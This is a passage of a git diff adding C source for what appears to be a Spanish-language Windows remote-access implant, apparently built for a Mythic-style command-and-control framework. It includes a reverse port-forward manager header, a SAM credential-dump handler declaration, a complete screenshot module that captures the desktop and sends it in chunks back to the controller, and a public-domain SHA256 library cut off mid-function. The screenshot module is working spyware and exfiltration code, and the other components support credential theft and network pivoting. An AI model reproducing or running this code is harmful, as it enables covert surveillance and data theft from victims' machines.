listener_port = 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
#ifndef RPFWD_MANAGER_H
|
||||
#define RPFWD_MANAGER_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
/* ==== Estructura básica de mensaje RPFWD ==== */
|
||||
typedef struct rpfwd_msg_s {
|
||||
uint32_t server_id;
|
||||
int exit_flag;
|
||||
unsigned char *data;
|
||||
size_t data_len;
|
||||
uint32_t port; // Optional port for multi-port RPFWD
|
||||
} rpfwd_msg_t;
|
||||
|
||||
/* ==== Callbacks ==== */
|
||||
typedef void (*rpfwd_send_cb_t)(
|
||||
uint32_t server_id,
|
||||
int exit_flag,
|
||||
const unsigned char *data,
|
||||
size_t data_len,
|
||||
uint32_t port,
|
||||
void *ctx
|
||||
);
|
||||
|
||||
/* ==== Estado global ==== */
|
||||
extern volatile int rpfwd_active; // indica si RPFWD está activo
|
||||
|
||||
/* ==== API pública ==== */
|
||||
void rpfwd_manager_init(void);
|
||||
void rpfwd_manager_cleanup(void);
|
||||
|
||||
int rpfwd_manager_process_incoming(
|
||||
uint32_t server_id,
|
||||
int exit_flag,
|
||||
const unsigned char *data,
|
||||
size_t data_len,
|
||||
uint32_t port
|
||||
);
|
||||
|
||||
void rpfwd_manager_flush_outgoing(rpfwd_send_cb_t cb, void *ctx);
|
||||
|
||||
int rpfwd_manager_start_listener(uint16_t local_port);
|
||||
int rpfwd_manager_stop_listener(void);
|
||||
|
||||
#endif /* RPFWD_MANAGER_H */
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,15 @@
|
||||
#pragma once
|
||||
|
||||
#ifndef SAMDUMP_H
|
||||
#define SAMDUMP_H
|
||||
|
||||
#include "analizador.h"
|
||||
#include "paquete.h"
|
||||
|
||||
// SAM dump command code (must match translator)
|
||||
#define SAMDUMP_CMD 0x42
|
||||
|
||||
// Forward declarations
|
||||
VOID SamDumpHandler(PAnalizador argumentos);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,340 @@
|
||||
#include "screenshot.h"
|
||||
#include "angerona.h"
|
||||
#include "paquete.h"
|
||||
#include "SistemadeFicheros.h"
|
||||
#include <windows.h>
|
||||
#include <wingdi.h>
|
||||
|
||||
#pragma comment(lib, "gdi32.lib")
|
||||
#pragma comment(lib, "user32.lib")
|
||||
|
||||
VOID CapturarPantalla(PAnalizador argumentos) {
|
||||
// Match input_type=None format used by pwd: [nbArg:4][UUID(36)]
|
||||
UINT32 nbArg = getInt32(argumentos);
|
||||
SIZE_T tamanoUuid = 36;
|
||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||
_inf("[screenshot] nbArg=%u, tamanoUuid=%zu", nbArg, tamanoUuid);
|
||||
|
||||
if (!tareaUuid || tamanoUuid != 36) {
|
||||
_err("[screenshot] UUID de tarea inválido (len=%zu)", tamanoUuid);
|
||||
return;
|
||||
}
|
||||
|
||||
// Ensure UUID is null-terminated for addString (same as download)
|
||||
CHAR uuidBuffer[37] = {0};
|
||||
memcpy(uuidBuffer, tareaUuid, 36);
|
||||
uuidBuffer[36] = '\0';
|
||||
tareaUuid = uuidBuffer;
|
||||
|
||||
// Prepare raw UUID bytes (36) to avoid strlen issues when adding to packets
|
||||
BYTE uuidRaw[36];
|
||||
memcpy(uuidRaw, tareaUuid, 36);
|
||||
|
||||
_inf("[screenshot] Iniciando captura de pantalla");
|
||||
|
||||
// Get screen dimensions
|
||||
int screenWidth = GetSystemMetrics(SM_CXSCREEN);
|
||||
int screenHeight = GetSystemMetrics(SM_CYSCREEN);
|
||||
|
||||
if (screenWidth == 0 || screenHeight == 0) {
|
||||
_err("[screenshot] Error obteniendo dimensiones de pantalla");
|
||||
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaError, tareaUuid, FALSE);
|
||||
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudieron obtener las dimensiones de pantalla\n");
|
||||
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||
mandarPaquete(respuestaError);
|
||||
liberarPaquete(salidaError);
|
||||
liberarPaquete(respuestaError);
|
||||
return;
|
||||
}
|
||||
|
||||
_inf("[screenshot] Dimensiones: %dx%d", screenWidth, screenHeight);
|
||||
|
||||
// Get desktop DC
|
||||
HDC hScreenDC = GetDC(NULL);
|
||||
if (!hScreenDC) {
|
||||
_err("[screenshot] Error obteniendo DC del escritorio");
|
||||
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaError, tareaUuid, FALSE);
|
||||
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo obtener el DC del escritorio\n");
|
||||
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||
mandarPaquete(respuestaError);
|
||||
liberarPaquete(salidaError);
|
||||
liberarPaquete(respuestaError);
|
||||
return;
|
||||
}
|
||||
|
||||
// Create compatible DC and bitmap
|
||||
HDC hMemoryDC = CreateCompatibleDC(hScreenDC);
|
||||
if (!hMemoryDC) {
|
||||
_err("[screenshot] Error creando compatible DC");
|
||||
ReleaseDC(NULL, hScreenDC);
|
||||
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaError, tareaUuid, FALSE);
|
||||
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo crear compatible DC\n");
|
||||
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||
mandarPaquete(respuestaError);
|
||||
liberarPaquete(salidaError);
|
||||
liberarPaquete(respuestaError);
|
||||
return;
|
||||
}
|
||||
|
||||
// Create bitmap
|
||||
HBITMAP hBitmap = CreateCompatibleBitmap(hScreenDC, screenWidth, screenHeight);
|
||||
if (!hBitmap) {
|
||||
_err("[screenshot] Error creando bitmap");
|
||||
DeleteDC(hMemoryDC);
|
||||
ReleaseDC(NULL, hScreenDC);
|
||||
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaError, tareaUuid, FALSE);
|
||||
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo crear bitmap\n");
|
||||
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||
mandarPaquete(respuestaError);
|
||||
liberarPaquete(salidaError);
|
||||
liberarPaquete(respuestaError);
|
||||
return;
|
||||
}
|
||||
|
||||
// Select bitmap into memory DC
|
||||
HBITMAP hOldBitmap = (HBITMAP)SelectObject(hMemoryDC, hBitmap);
|
||||
|
||||
// Copy screen to bitmap
|
||||
if (!BitBlt(hMemoryDC, 0, 0, screenWidth, screenHeight, hScreenDC, 0, 0, SRCCOPY)) {
|
||||
DWORD error = GetLastError();
|
||||
_err("[screenshot] Error copiando pantalla con BitBlt, código de error: %lu", error);
|
||||
SelectObject(hMemoryDC, hOldBitmap);
|
||||
DeleteObject(hBitmap);
|
||||
DeleteDC(hMemoryDC);
|
||||
ReleaseDC(NULL, hScreenDC);
|
||||
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaError, tareaUuid, FALSE);
|
||||
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||
|
||||
// Provide more specific error messages based on error code
|
||||
if (error == ERROR_INVALID_HANDLE || error == 6) {
|
||||
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: Handle inválido (error: %lu). Puede que no haya sesión interactiva activa.\n", error);
|
||||
} else if (error == ERROR_ACCESS_DENIED || error == 5) {
|
||||
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: Acceso denegado (error: %lu). Se requieren permisos de sesión interactiva.\n", error);
|
||||
} else if (error == ERROR_INVALID_PARAMETER || error == 87) {
|
||||
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: Parámetros inválidos (error: %lu). Verifica dimensiones de pantalla.\n", error);
|
||||
} else {
|
||||
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo copiar la pantalla. Código de error: %lu\n", error);
|
||||
}
|
||||
|
||||
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||
mandarPaquete(respuestaError);
|
||||
liberarPaquete(salidaError);
|
||||
liberarPaquete(respuestaError);
|
||||
return;
|
||||
}
|
||||
|
||||
// Get bitmap info
|
||||
BITMAPINFO bmpInfo = {0};
|
||||
bmpInfo.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
|
||||
bmpInfo.bmiHeader.biWidth = screenWidth;
|
||||
bmpInfo.bmiHeader.biHeight = -screenHeight; // Negative for top-down DIB
|
||||
bmpInfo.bmiHeader.biPlanes = 1;
|
||||
bmpInfo.bmiHeader.biBitCount = 24; // RGB
|
||||
bmpInfo.bmiHeader.biCompression = BI_RGB;
|
||||
|
||||
// Calculate bitmap data size
|
||||
DWORD bmpDataSize = ((screenWidth * 3 + 3) & ~3) * screenHeight; // Align to 4 bytes
|
||||
bmpInfo.bmiHeader.biSizeImage = bmpDataSize;
|
||||
|
||||
// Allocate buffer for bitmap data
|
||||
PBYTE bmpData = (PBYTE)LocalAlloc(LPTR, bmpDataSize);
|
||||
if (!bmpData) {
|
||||
_err("[screenshot] Error asignando memoria para bitmap");
|
||||
SelectObject(hMemoryDC, hOldBitmap);
|
||||
DeleteObject(hBitmap);
|
||||
DeleteDC(hMemoryDC);
|
||||
ReleaseDC(NULL, hScreenDC);
|
||||
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaError, tareaUuid, FALSE);
|
||||
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo asignar memoria\n");
|
||||
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||
mandarPaquete(respuestaError);
|
||||
liberarPaquete(salidaError);
|
||||
liberarPaquete(respuestaError);
|
||||
return;
|
||||
}
|
||||
|
||||
// Get bitmap bits
|
||||
if (!GetDIBits(hScreenDC, hBitmap, 0, screenHeight, bmpData, &bmpInfo, DIB_RGB_COLORS)) {
|
||||
_err("[screenshot] Error obteniendo bits del bitmap");
|
||||
LocalFree(bmpData);
|
||||
SelectObject(hMemoryDC, hOldBitmap);
|
||||
DeleteObject(hBitmap);
|
||||
DeleteDC(hMemoryDC);
|
||||
ReleaseDC(NULL, hScreenDC);
|
||||
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaError, tareaUuid, FALSE);
|
||||
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudieron obtener los bits del bitmap\n");
|
||||
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||
mandarPaquete(respuestaError);
|
||||
liberarPaquete(salidaError);
|
||||
liberarPaquete(respuestaError);
|
||||
return;
|
||||
}
|
||||
|
||||
// Create BMP file header
|
||||
DWORD bmpFileSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + bmpDataSize;
|
||||
PBYTE bmpFile = (PBYTE)LocalAlloc(LPTR, bmpFileSize);
|
||||
if (!bmpFile) {
|
||||
_err("[screenshot] Error asignando memoria para archivo BMP");
|
||||
LocalFree(bmpData);
|
||||
SelectObject(hMemoryDC, hOldBitmap);
|
||||
DeleteObject(hBitmap);
|
||||
DeleteDC(hMemoryDC);
|
||||
ReleaseDC(NULL, hScreenDC);
|
||||
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaError, tareaUuid, FALSE);
|
||||
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||
PackageAddFormatPrintf(salidaError, FALSE, "[screenshot] Error: No se pudo asignar memoria para el archivo\n");
|
||||
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||
mandarPaquete(respuestaError);
|
||||
liberarPaquete(salidaError);
|
||||
liberarPaquete(respuestaError);
|
||||
return;
|
||||
}
|
||||
|
||||
// Write BMP file header
|
||||
PBITMAPFILEHEADER bmpFileHeader = (PBITMAPFILEHEADER)bmpFile;
|
||||
bmpFileHeader->bfType = 0x4D42; // "BM"
|
||||
bmpFileHeader->bfSize = bmpFileSize;
|
||||
bmpFileHeader->bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);
|
||||
|
||||
// Write bitmap info header
|
||||
memcpy(bmpFile + sizeof(BITMAPFILEHEADER), &bmpInfo.bmiHeader, sizeof(BITMAPINFOHEADER));
|
||||
|
||||
// Write bitmap data
|
||||
memcpy(bmpFile + sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER), bmpData, bmpDataSize);
|
||||
|
||||
// Cleanup
|
||||
LocalFree(bmpData);
|
||||
SelectObject(hMemoryDC, hOldBitmap);
|
||||
DeleteObject(hBitmap);
|
||||
DeleteDC(hMemoryDC);
|
||||
ReleaseDC(NULL, hScreenDC);
|
||||
|
||||
_inf("[screenshot] Captura completada: %lu bytes", bmpFileSize);
|
||||
|
||||
// Send screenshot as download with special path "SCREENSHOT" to identify it
|
||||
// The translator will detect this and add is_screenshot: true
|
||||
const DWORD CHUNK_SIZE = 512 * 1024;
|
||||
DWORD totalChunks = (bmpFileSize + CHUNK_SIZE - 1) / CHUNK_SIZE;
|
||||
|
||||
// Send registration (EXACT same format as download)
|
||||
PPaquete registroRespuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
_inf("[screenshot] DEBUG: tareaUuid=%p, uuid(len=36)='%.36s'", tareaUuid, tareaUuid);
|
||||
_inf("[screenshot] DEBUG: len antes de UUID (registro) = %zu", registroRespuesta->length);
|
||||
addBytes(registroRespuesta, (PBYTE)uuidRaw, 36, FALSE);
|
||||
_inf("[screenshot] DEBUG: len después de UUID (registro) = %zu", registroRespuesta->length);
|
||||
|
||||
PPaquete salidaRegistro = nuevoPaquete(0, FALSE);
|
||||
PackageAddFormatPrintf(salidaRegistro, FALSE, "[screenshot] Captura de pantalla: %dx%d (%lu bytes, %lu chunks)\n",
|
||||
screenWidth, screenHeight, bmpFileSize, totalChunks);
|
||||
addBytes(registroRespuesta, (PBYTE)salidaRegistro->buffer, salidaRegistro->length, TRUE);
|
||||
|
||||
// Use special path "SCREENSHOT" so translator knows this is a screenshot
|
||||
addDownloadRegistration(registroRespuesta, "SCREENSHOT", totalChunks, CHUNK_SIZE);
|
||||
|
||||
// Send registration and get file_id
|
||||
PAnalizador respuestaRegistro = mandarPaquete(registroRespuesta);
|
||||
liberarPaquete(salidaRegistro);
|
||||
liberarPaquete(registroRespuesta);
|
||||
|
||||
if (!respuestaRegistro) {
|
||||
_err("[screenshot] Error: No se recibió respuesta del registro\n");
|
||||
LocalFree(bmpFile);
|
||||
return;
|
||||
}
|
||||
|
||||
// Extract file_id from response (same logic as download)
|
||||
PCHAR file_id = NULL;
|
||||
PBYTE buffer = respuestaRegistro->buffer;
|
||||
SIZE_T len = respuestaRegistro->tamano;
|
||||
|
||||
for (SIZE_T i = 0; i < len - 5; i++) {
|
||||
if (buffer[i] == 0xFB) {
|
||||
i++; // Skip marker
|
||||
if (i + 4 > len) break;
|
||||
UINT32 file_id_len = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3];
|
||||
i += 4;
|
||||
if (file_id_len == 0 || file_id_len > 256 || i + file_id_len > len) break;
|
||||
file_id = (PCHAR)LocalAlloc(LPTR, file_id_len + 1);
|
||||
if (file_id) {
|
||||
memcpy(file_id, buffer + i, file_id_len);
|
||||
file_id[file_id_len] = '\0';
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!file_id) {
|
||||
_err("[screenshot] Error: No se pudo extraer file_id de la respuesta\n");
|
||||
liberarAnalizador(respuestaRegistro);
|
||||
LocalFree(bmpFile);
|
||||
return;
|
||||
}
|
||||
|
||||
_inf("[screenshot] File ID recibido: %s\n", file_id);
|
||||
liberarAnalizador(respuestaRegistro);
|
||||
|
||||
// Send chunks
|
||||
DWORD chunkNum = 1;
|
||||
DWORD offset = 0;
|
||||
|
||||
while (offset < bmpFileSize) {
|
||||
DWORD chunkSize = (bmpFileSize - offset > CHUNK_SIZE) ? CHUNK_SIZE : (bmpFileSize - offset);
|
||||
PBYTE chunkBuffer = bmpFile + offset;
|
||||
|
||||
_inf("[screenshot] Enviando chunk %lu/%lu (%lu bytes)\n", chunkNum, totalChunks, chunkSize);
|
||||
|
||||
// Build chunk POST_RESPONSE (EXACT same format as download)
|
||||
PPaquete chunkRespuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
_inf("[screenshot] DEBUG: len antes de UUID (chunk %lu) = %zu", chunkNum, chunkRespuesta->length);
|
||||
addBytes(chunkRespuesta, (PBYTE)uuidRaw, 36, FALSE);
|
||||
_inf("[screenshot] DEBUG: len después de UUID (chunk %lu) = %zu", chunkNum, chunkRespuesta->length);
|
||||
|
||||
// Add empty output for download chunks
|
||||
addInt32(chunkRespuesta, 0);
|
||||
|
||||
// Add download chunk
|
||||
addDownloadChunk(chunkRespuesta, file_id, chunkNum, chunkBuffer, chunkSize);
|
||||
|
||||
PAnalizador respuestaChunk = mandarPaquete(chunkRespuesta);
|
||||
liberarPaquete(chunkRespuesta);
|
||||
if (respuestaChunk) liberarAnalizador(respuestaChunk);
|
||||
|
||||
offset += chunkSize;
|
||||
chunkNum++;
|
||||
}
|
||||
|
||||
// Send final message (EXACT same format as download)
|
||||
PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
_inf("[screenshot] DEBUG: len antes de UUID (final) = %zu", respuestaFinal->length);
|
||||
addBytes(respuestaFinal, (PBYTE)uuidRaw, 36, FALSE);
|
||||
_inf("[screenshot] DEBUG: len después de UUID (final) = %zu", respuestaFinal->length);
|
||||
|
||||
PPaquete salidaFinal = nuevoPaquete(0, FALSE);
|
||||
PackageAddFormatPrintf(salidaFinal, FALSE, "[screenshot] Screenshot enviado: %dx%d (%lu bytes)\n",
|
||||
screenWidth, screenHeight, bmpFileSize);
|
||||
addBytes(respuestaFinal, (PBYTE)salidaFinal->buffer, salidaFinal->length, TRUE);
|
||||
|
||||
// Report API Call artifact for screen capture
|
||||
addArtifact(respuestaFinal, "API Call", "GDI Screen Capture: GetDC, CreateCompatibleDC, CreateCompatibleBitmap, BitBlt, GetDIBits");
|
||||
|
||||
mandarPaquete(respuestaFinal);
|
||||
liberarPaquete(salidaFinal);
|
||||
liberarPaquete(respuestaFinal);
|
||||
|
||||
LocalFree(bmpFile);
|
||||
LocalFree(file_id);
|
||||
}
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
#pragma once
|
||||
|
||||
#ifndef SCREENSHOT_H
|
||||
#define SCREENSHOT_H
|
||||
|
||||
#include "analizador.h"
|
||||
|
||||
VOID CapturarPantalla(PAnalizador argumentos);
|
||||
|
||||
#endif
|
||||
|
||||
@@ -0,0 +1,267 @@
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// WjCryptLib_Sha256
|
||||
//
|
||||
// Implementation of SHA256 hash function.
|
||||
// Original author: Tom St Denis, tomstdenis@gmail.com, http://libtom.org
|
||||
// Modified by WaterJuice retaining Public Domain license.
|
||||
//
|
||||
// This is free and unencumbered software released into the public domain -
|
||||
// June 2013 waterjuice.org
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// IMPORTS
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "sha256.h"
|
||||
#include <memory.h>
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// MACROS
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
#define ror(value, bits) (((value) >> (bits)) | ((value) << (32 - (bits))))
|
||||
|
||||
#define MIN(x, y) (((x) < (y)) ? (x) : (y))
|
||||
|
||||
#define STORE32H(x, y) \
|
||||
{ \
|
||||
(y)[0] = (uint8_t)(((x) >> 24) & 255); \
|
||||
(y)[1] = (uint8_t)(((x) >> 16) & 255); \
|
||||
(y)[2] = (uint8_t)(((x) >> 8) & 255); \
|
||||
(y)[3] = (uint8_t)((x)&255); \
|
||||
}
|
||||
|
||||
#define LOAD32H(x, y) \
|
||||
{ \
|
||||
x = ((uint32_t)((y)[0] & 255) << 24) | ((uint32_t)((y)[1] & 255) << 16) | \
|
||||
((uint32_t)((y)[2] & 255) << 8) | ((uint32_t)((y)[3] & 255)); \
|
||||
}
|
||||
|
||||
#define STORE64H(x, y) \
|
||||
{ \
|
||||
(y)[0] = (uint8_t)(((x) >> 56) & 255); \
|
||||
(y)[1] = (uint8_t)(((x) >> 48) & 255); \
|
||||
(y)[2] = (uint8_t)(((x) >> 40) & 255); \
|
||||
(y)[3] = (uint8_t)(((x) >> 32) & 255); \
|
||||
(y)[4] = (uint8_t)(((x) >> 24) & 255); \
|
||||
(y)[5] = (uint8_t)(((x) >> 16) & 255); \
|
||||
(y)[6] = (uint8_t)(((x) >> 8) & 255); \
|
||||
(y)[7] = (uint8_t)((x)&255); \
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// CONSTANTS
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
// The K array
|
||||
static const uint32_t K[64] = {
|
||||
0x428a2f98UL, 0x71374491UL, 0xb5c0fbcfUL, 0xe9b5dba5UL, 0x3956c25bUL,
|
||||
0x59f111f1UL, 0x923f82a4UL, 0xab1c5ed5UL, 0xd807aa98UL, 0x12835b01UL,
|
||||
0x243185beUL, 0x550c7dc3UL, 0x72be5d74UL, 0x80deb1feUL, 0x9bdc06a7UL,
|
||||
0xc19bf174UL, 0xe49b69c1UL, 0xefbe4786UL, 0x0fc19dc6UL, 0x240ca1ccUL,
|
||||
0x2de92c6fUL, 0x4a7484aaUL, 0x5cb0a9dcUL, 0x76f988daUL, 0x983e5152UL,
|
||||
0xa831c66dUL, 0xb00327c8UL, 0xbf597fc7UL, 0xc6e00bf3UL, 0xd5a79147UL,
|
||||
0x06ca6351UL, 0x14292967UL, 0x27b70a85UL, 0x2e1b2138UL, 0x4d2c6dfcUL,
|
||||
0x53380d13UL, 0x650a7354UL, 0x766a0abbUL, 0x81c2c92eUL, 0x92722c85UL,
|
||||
0xa2bfe8a1UL, 0xa81a664bUL, 0xc24b8b70UL, 0xc76c51a3UL, 0xd192e819UL,
|
||||
0xd6990624UL, 0xf40e3585UL, 0x106aa070UL, 0x19a4c116UL, 0x1e376c08UL,
|
||||
0x2748774cUL, 0x34b0bcb5UL, 0x391c0cb3UL, 0x4ed8aa4aUL, 0x5b9cca4fUL,
|
||||
0x682e6ff3UL, 0x748f82eeUL, 0x78a5636fUL, 0x84c87814UL, 0x8cc70208UL,
|
||||
0x90befffaUL, 0xa4506cebUL, 0xbef9a3f7UL, 0xc67178f2UL};
|
||||
|
||||
#define BLOCK_SIZE 64
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// INTERNAL FUNCTIONS
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
// Various logical functions
|
||||
#define Ch(x, y, z) (z ^ (x & (y ^ z)))
|
||||
#define Maj(x, y, z) (((x | y) & z) | (x & y))
|
||||
#define S(x, n) ror((x), (n))
|
||||
#define R(x, n) (((x)&0xFFFFFFFFUL) >> (n))
|
||||
#define Sigma0(x) (S(x, 2) ^ S(x, 13) ^ S(x, 22))
|
||||
#define Sigma1(x) (S(x, 6) ^ S(x, 11) ^ S(x, 25))
|
||||
#define Gamma0(x) (S(x, 7) ^ S(x, 18) ^ R(x, 3))
|
||||
#define Gamma1(x) (S(x, 17) ^ S(x, 19) ^ R(x, 10))
|
||||
|
||||
#define Sha256Round(a, b, c, d, e, f, g, h, i) \
|
||||
t0 = h + Sigma1(e) + Ch(e, f, g) + K[i] + W[i]; \
|
||||
t1 = Sigma0(a) + Maj(a, b, c); \
|
||||
d += t0; \
|
||||
h = t0 + t1;
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// TransformFunction
|
||||
//
|
||||
// Compress 512-bits
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
static void TransformFunction(Sha256Context* Context, uint8_t const* Buffer) {
|
||||
uint32_t S[8];
|
||||
uint32_t W[64];
|
||||
uint32_t t0;
|
||||
uint32_t t1;
|
||||
uint32_t t;
|
||||
int i;
|
||||
|
||||
// Copy state into S
|
||||
for (i = 0; i < 8; i++) {
|
||||
S[i] = Context->state[i];
|
||||
}
|
||||
|
||||
// Copy the state into 512-bits into W[0..15]
|
||||
for (i = 0; i < 16; i++) {
|
||||
LOAD32H(W[i], Buffer + (4 * i));
|
||||
}
|
||||
|
||||
// Fill W[16..63]
|
||||
for (i = 16; i < 64; i++) {
|
||||
W[i] = Gamma1(W[i - 2]) + W[i - 7] + Gamma0(W[i - 15]) + W[i - 16];
|
||||
}
|
||||
|
||||
// Compress
|
||||
for (i = 0; i < 64; i++) {
|
||||
Sha256Round(S[0], S[1], S[2], S[3], S[4], S[5], S[6], S[7], i);
|
||||
t = S[7];
|
||||
S[7] = S[6];
|
||||
S[6] = S[5];
|
||||
S[5] = S[4];
|
||||
S[4] = S[3];
|
||||
S[3] = S[2];
|
||||
S[2] = S[1];
|
||||
S[1] = S[0];
|
||||
S[0] = t;
|
||||
}
|
||||
|
||||
// Feedback
|
||||
for (i = 0; i < 8; i++) {
|
||||
Context->state[i] = Context->state[i] + S[i];
|
||||
}
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// PUBLIC FUNCTIONS
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// Sha256Initialise
|
||||
//
|
||||
// Initialises a SHA256 Context. Use this to initialise/reset a context.
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
void Sha256Initialise(Sha256Context* Context // [out]
|
||||
) {
|
||||
Context->curlen = 0;
|
||||
Context->length = 0;
|
||||
Context->state[0] = 0x6A09E667UL;
|
||||
Context->state[1] = 0xBB67AE85UL;
|
||||
Context->state[2] = 0x3C6EF372UL;
|
||||
Context->state[3] = 0xA54FF53AUL;
|
||||
Context->state[4] = 0x510E527FUL;
|
||||
Context->state[5] = 0x9B05688CUL;
|
||||
Context->state[6] = 0x1F83D9ABUL;
|
||||
Context->state[7] = 0x5BE0CD19UL;
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// Sha256Update
|
||||
//
|
||||
// Adds data to the SHA256 context. This will process the data and update the
|
||||
// internal state of the context. Keep on calling this function until all the
|
||||
// data has been added. Then call Sha256Finalise to calculate the hash.
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
void Sha256Update(Sha256Context* Context, // [in out]
|
||||
void const* Buffer, // [in]
|
||||
uint32_t BufferSize // [in]
|
||||
) {
|
||||
uint32_t n;
|
||||
|
||||
if (Context->curlen > sizeof(Context->buf)) {
|
||||
return;
|
||||
}
|
||||
|
||||
while (BufferSize > 0) {
|
||||
if (Context->curlen == 0 && BufferSize >= BLOCK_SIZE) {
|
||||
TransformFunction(Context, (uint8_t*)Buffer);
|
||||
Context->length += BLOCK_SIZE * 8;
|
||||
Buffer = (uint8_t*)Buffer + BLOCK_SIZE;
|
||||
BufferSize -= BLOCK_SIZE;
|
||||
} else {
|
||||
n = MIN(BufferSize, (BLOCK_SIZE - Context->curlen));
|
||||
memcpy(Context->buf + Context->curlen, Buffer, (size_t)n);
|
||||
Context->curlen += n;
|
||||
Buffer = (uint8_t*)Buffer + n;
|
||||
BufferSize -= n;
|
||||
if (Context->curlen == BLOCK_SIZE) {
|
||||
TransformFunction(Context, Context->buf);
|
||||
Context->length += 8 * BLOCK_SIZE;
|
||||
Context->curlen = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// Sha256Finalise
|
||||
//
|
||||
// Performs the final calculation of the hash and returns the digest (32 byte
|
||||
// buffer containing 256bit hash). After calling this, Sha256Initialised must
|
||||
// be used to reuse the context.
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
void Sha256Finalise(Sha256Context* Context, // [in out]
|
||||
SHA256_HASH* Digest // [out]
|
||||
) {
|
||||
int i;
|
||||
|
||||
if (Context->curlen >= sizeof(Context->buf)) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Increase the length of the message
|
||||
Context->length += Context->curlen * 8;
|
||||
|
||||
// Append the '1' bit
|
||||
Context->buf[Context->curlen++] = (uint8_t)0x80;
|
||||
|
||||
// if the length is currently above 56 bytes we append zeros
|
||||
// then compress. Then we can fall back to padding zeros and length
|
||||
// encoding like normal.
|
||||
if (Context->curlen > 56) {
|
||||
